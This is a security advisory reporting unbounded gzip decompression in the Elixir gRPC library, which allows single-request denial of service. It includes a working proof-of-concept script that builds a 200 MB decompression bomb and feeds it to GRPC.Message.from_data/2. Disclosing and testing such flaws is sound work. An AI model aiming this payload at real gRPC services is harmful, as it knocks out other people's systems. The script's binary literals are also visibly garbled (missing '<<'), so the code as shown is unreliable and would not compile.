gRPC Erlang package has unbounded gzip decompression (decompression bomb)

Summary

An unauthenticated remote peer can crash any gRPC server built on this library by sending a small gzip-compressed frame that decompresses to gigabytes, exhausting the BEAM node's heap and triggering an OOM kill (denial of service).

Introduced in elixir-grpc/grpc@beae680

Details

GRPC.Compressor.Gzip.decompress/1 (lib/grpc/compressor/gzip.ex:12-14) calls :zlib.gunzip/1 directly on attacker-controlled bytes with no size limit, no ratio check, and no incremental decoding. Because this module is registered as a GRPC.Compressor implementation, it is invoked automatically whenever an incoming gRPC frame carries grpc-encoding: gzip. :zlib.gunzip/1 allocates the entire decompressed result as a single binary before returning, so a highly compressible payload (e.g. a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single function call. The server's max_receive_message_length is enforced only against the already-decompressed message, so it provides no protection here. A single request is sufficient to OOM-kill the node.

PoC

A script that verifies the vulnerability is attached to the end of this report. Run it against a stock gRPC server using this library; the BEAM node's memory usage will balloon and the VM will be OOM-killed after a single request.

Impact

This is a decompression bomb / denial-of-service vulnerability. Any service that exposes a gRPC endpoint built on this library and accepts gzip-compressed requests is affected. No authentication, prior state, or special configuration is required — the attacker only needs to be able to reach the gRPC port and send a single crafted frame with grpc-encoding: gzip.

Scripts and Logs

# Verifies: Unbounded gzip decompression (decompression bomb)

Mix.install([{:grpc, "~> 0.9"}])

# Build a gzip bomb: 200 MB of zeros compresses to roughly a few hundred KB.
uncompressed_size = 200 * 1024 * 1024
bomb_payload = :zlib.gzip(:binary.copy(0>>, uncompressed_size))

# Wrap the bomb in a gRPC length-prefixed frame with the "compressed" flag (1)
# set. This is the exact wire shape an outside peer would put on the socket
# for a `grpc-encoding: gzip` message.
frame =
  1, byte_size(bomb_payload)::unsigned-integer-32, bomb_payload::binary>>

IO.puts(
  "Compressed bomb: #{byte_size(bomb_payload)} bytes -> claims to expand to #{uncompressed_size} bytes"
)

:erlang.garbage_collect()
mem_before = :erlang.memory(:total)
IO.puts("Memory before: #{div(mem_before, 1024 * 1024)} MB")

# Public entry point: GRPC.Message.from_data/2 is what the server's request
# handling pipeline calls with the raw bytes pulled off an incoming HTTP/2
# DATA frame, once it has resolved the encoding header to a compressor module.
# An outside attacker controls `frame`; the library is the trust boundary.
{:ok, decompressed} =
  GRPC.Message.from_data(%{compressor: GRPC.Compressor.Gzip}, frame)

mem_after = :erlang.memory(:total)
IO.puts("Memory after:  #{div(mem_after, 1024 * 1024)} MB")
IO.puts("Delta:         #{div(mem_after - mem_before, 1024 * 1024)} MB")
IO.puts("Decompressed binary size: #{byte_size(decompressed)} bytes")

amplification = byte_size(decompressed) / byte_size(bomb_payload)
IO.puts("Amplification ratio: ~#{Float.round(amplification, 1)}x")

if byte_size(decompressed) == uncompressed_size do
  IO.puts(
    "VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~#{div(mem_after - mem_before, 1024 * 1024)} MB from a #{div(byte_size(bomb_payload), 1024)} KB attacker payload."
  )
else
  IO.puts("NOT VERIFIED: decompressed size did not match expected payload")
end